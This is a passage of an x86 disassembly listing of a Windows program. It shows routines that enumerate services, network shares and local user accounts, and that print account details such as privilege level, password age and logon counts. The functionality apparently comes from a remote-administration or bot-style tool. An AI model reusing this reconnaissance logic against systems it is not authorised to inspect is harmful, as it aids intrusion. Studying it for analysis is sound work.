sub ecx, 51h
jz short loc_418823
sub ecx, 24h
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418823: ; CODE XREF: sub_4187DD+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41882D: ; CODE XREF: sub_4187DD+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418837: ; CODE XREF: sub_4187DD+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418841: ; CODE XREF: sub_4187DD+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41884B: ; CODE XREF: sub_4187DD+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418855: ; CODE XREF: sub_4187DD+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418884
dec ecx
jz short loc_41887D
dec ecx
jz short loc_418876
dec ecx
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418876: ; CODE XREF: sub_4187DD+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41887D: ; CODE XREF: sub_4187DD+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418884: ; CODE XREF: sub_4187DD+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41888B: ; CODE XREF: sub_4187DD+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418892: ; CODE XREF: sub_4187DD+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F5
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418949[ecx]
jmp off_418921[ecx*4] ; switch jump
loc_4188B6: ; DATA XREF: ___:off_418921o
push offset aTheSpecifiedDa ; jumptable 004188AF case 7
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188BD: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDepe ; jumptable 004188AF case 17
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188C4: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDe_0 ; jumptable 004188AF case 10
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188CB: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasB ; jumptable 004188AF case 0
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D2: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheSpecified_0 ; jumptable 004188AF case 2
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceCoul ; jumptable 004188AF case 11
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E0: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHa_0 ; jumptable 004188AF case 14
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E7: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheRequested_1 ; jumptable 004188AF case 3
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188EE: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasN ; jumptable 004188AF case 4
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188F5: ; CODE XREF: sub_4187DD+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FA: ; CODE XREF: sub_4187DD+41j
; sub_4187DD+4Bj ...
push offset dword_4DA930
call sub_41B886
pop ecx
pop ecx
jmp short loc_41891B
; ---------------------------------------------------------------------------
loc_418908: ; CODE XREF: sub_4187DD+36j
; sub_4187DD+89j ...
push eax ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DA930
call sub_41B886
add esp, 0Ch
loc_41891B: ; CODE XREF: sub_4187DD+129j
mov eax, offset dword_4DA930
retn
sub_4187DD endp
; ---------------------------------------------------------------------------
off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r
dd offset loc_4188D2 ; jump table for switch statement
dd offset loc_4188E7
dd offset loc_4188EE
dd offset loc_4188B6
dd offset loc_4188C4
dd offset loc_4188D9
dd offset loc_4188E0
dd offset loc_4188BD
dd offset loc_418908
byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CAF68
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_418993: ; CODE XREF: sub_41895B+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CAF34
test eax, eax
jnz short loc_4189CD
nop
call near ptr 2670D70h
cmp eax, 0EAh
jnz loc_418A81
loc_4189CD: ; CODE XREF: sub_41895B+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A78
lea esi, [ebp+var_188]
loc_4189DE: ; CODE XREF: sub_41895B+117j
mov eax, [esi+8]
dec eax
jz short loc_418A27
dec eax
jz short loc_418A20
dec eax
jz short loc_418A19
dec eax
jz short loc_418A12
dec eax
jz short loc_418A0B
dec eax
jz short loc_418A04
dec eax
jz short loc_4189FD
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_4189FD: ; CODE XREF: sub_41895B+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A04: ; CODE XREF: sub_41895B+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A0B: ; CODE XREF: sub_41895B+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A12: ; CODE XREF: sub_41895B+90j
push offset aRunning ; " Running"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A19: ; CODE XREF: sub_41895B+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A20: ; CODE XREF: sub_41895B+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A27: ; CODE XREF: sub_41895B+87j
push offset aStopped ; " Stopped"
loc_418A2C: ; CODE XREF: sub_41895B+A0j
; sub_41895B+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DE
loc_418A78: ; CODE XREF: sub_41895B+77j
cmp [ebp+var_8], ebx
jnz loc_418993
loc_418A81: ; CODE XREF: sub_41895B+6Cj
push [ebp+var_C]
call dword_4CAE6C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418B32
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC1
dec eax
jnz short loc_418B12
push edi
push 0
call sub_418C6B
pop ecx
pop ecx
jmp short loc_418B0E
; ---------------------------------------------------------------------------
loc_418AC1: ; CODE XREF: sub_418A98+18j
cmp [ebp+arg_8], 0
jnz short loc_418B00
push 24h
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_418B00
push 57h
pop eax
loc_418AD8: ; CODE XREF: sub_418A98+78j
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DABEC
push off_4389A0[eax*4]
push offset unk_43904C
push esi
call sub_41B886
add esp, 14h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B00: ; CODE XREF: sub_418A98+2Dj
; sub_418A98+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418BBF
add esp, 0Ch
loc_418B0E: ; CODE XREF: sub_418A98+27j
test eax, eax
jnz short loc_418AD8
loc_418B12: ; CODE XREF: sub_418A98+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DABEC
push off_4389A4[eax*4]
push offset dword_439030
push esi
call sub_41B886
add esp, 10h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B32: ; CODE XREF: sub_418A98+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DABEC
lea eax, [eax+eax*2]
push off_4389A0[eax*4]
push offset unk_43900C
push esi
call sub_41B886
add esp, 0Ch
loc_418B52: ; CODE XREF: sub_418A98+66j
; sub_418A98+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A98 endp
; =============== S U B R O U T I N E =======================================
sub_418B58 proc near ; CODE XREF: sub_419E79+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B65
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B65: ; CODE XREF: sub_418B58+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DADEC, 1
mov ebp, eax
jnz short loc_418BA2
or byte_4DADEC, 1
lea eax, [ebp+1]
push eax
call sub_41CFC5
pop ecx
mov dword_4DAB8C, eax
loc_418BA2: ; CODE XREF: sub_418B58+32j
push esi
push esi
push ebp
push dword_4DAB8C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DAB8C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep
; sub_41A19D+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41BFB0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2A
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CAE68
pop edi
leave
retn
sub_418BBF endp
; =============== S U B R O U T I N E =======================================
sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap
; sub_418BBF+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C37
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C37: ; CODE XREF: sub_418C2A+9j
push ebx
push esi
mov esi, dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41CFC5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2A endp
; =============== S U B R O U T I N E =======================================
sub_418C6B proc near ; CODE XREF: sub_418A98+20p
; sub_419E79+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CAE40
pop esi
retn
sub_418C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2A
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_418CC7: ; CODE XREF: sub_418C8E+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CAEB8
mov ebx, eax
cmp ebx, esi
jz short loc_418D2A
cmp ebx, 0EAh
jz short loc_418D2A
push ebx
push ebx
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439098
push eax
call sub_41B886
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_418D97
; ---------------------------------------------------------------------------
loc_418D2A: ; CODE XREF: sub_418C8E+5Dj
; sub_418C8E+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8E
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D38: ; CODE XREF: sub_418C8E+FCj
push dword ptr [esi+10h]
call dword_4CAE5C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D4F
mov eax, offset aNo ; "No"
loc_418D4F: ; CODE XREF: sub_418C8E+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D38
xor esi, esi
loc_418D8E: ; CODE XREF: sub_418C8E+A2j
push [ebp+var_4]
call dword_4CB004
loc_418D97: ; CODE XREF: sub_418C8E+9Aj
cmp ebx, 0EAh
jz loc_418CC7
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E54
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF1
dec eax
jz short loc_418DE6
dec eax
jnz short loc_418E0C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_418EF6
add esp, 14h
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DE6: ; CODE XREF: sub_418DAF+1Dj
push ebx
push edi
call sub_418ED5
pop ecx
pop ecx
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DF1: ; CODE XREF: sub_418DAF+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E05
push [ebp+arg_8]
push ebx
push edi
call sub_418E7B
add esp, 0Ch
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418E05: ; CODE XREF: sub_418DAF+45j
push 57h
pop eax
loc_418E08: ; CODE XREF: sub_418DAF+35j
; sub_418DAF+40j ...
cmp eax, edi
jnz short loc_418E2C
loc_418E0C: ; CODE XREF: sub_418DAF+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DADF0
push off_4389A4[eax*4]
push offset unk_439150
push esi
call sub_41B886
add esp, 10h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E2C: ; CODE XREF: sub_418DAF+5Bj
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DADF0
push off_4389A0[eax*4]
push offset unk_439120
push esi
call sub_41B886
add esp, 14h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E54: ; CODE XREF: sub_418DAF+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DADF0
lea eax, [eax+eax*2]
push off_4389A0[eax*4]
push offset unk_4390F8
push esi
call sub_41B886
add esp, 0Ch
loc_418E74: ; CODE XREF: sub_418DAF+7Bj
; sub_418DAF+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2A
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CAE4C
pop edi
leave
retn
sub_418E7B endp
; =============== S U B R O U T I N E =======================================
sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push eax
push esi
call dword_4CAE3C
pop esi
retn
sub_418ED5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CAFCC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929E
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192D9
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B886
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419015
dec eax
jz short loc_41900E
dec eax
jz short loc_419007
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419007: ; CODE XREF: sub_418EF6+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418EF6+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419015: ; CODE XREF: sub_418EF6+102j
mov eax, offset aGuest ; "Guest"
loc_41901A: ; CODE XREF: sub_418EF6+10Fj
; sub_418EF6+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B886
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CA
; ---------------------------------------------------------------------------
loc_41929E: ; CODE XREF: sub_418EF6+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439170
push eax
call sub_41B886
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409A72
add esp, 20h
loc_4192CA: ; CODE XREF: sub_418EF6+3A6j
cmp [ebp+var_4], 0
jz short loc_4192D9
push [ebp+var_4]
call dword_4CB004
loc_4192D9: ; CODE XREF: sub_418EF6+40j
; sub_418EF6+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2A
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_41931E: ; CODE XREF: sub_4192DF+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CAED4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41937F
cmp eax, 0EAh
jz short loc_41937F
push eax
push eax
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439360
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_4193FA
; ---------------------------------------------------------------------------
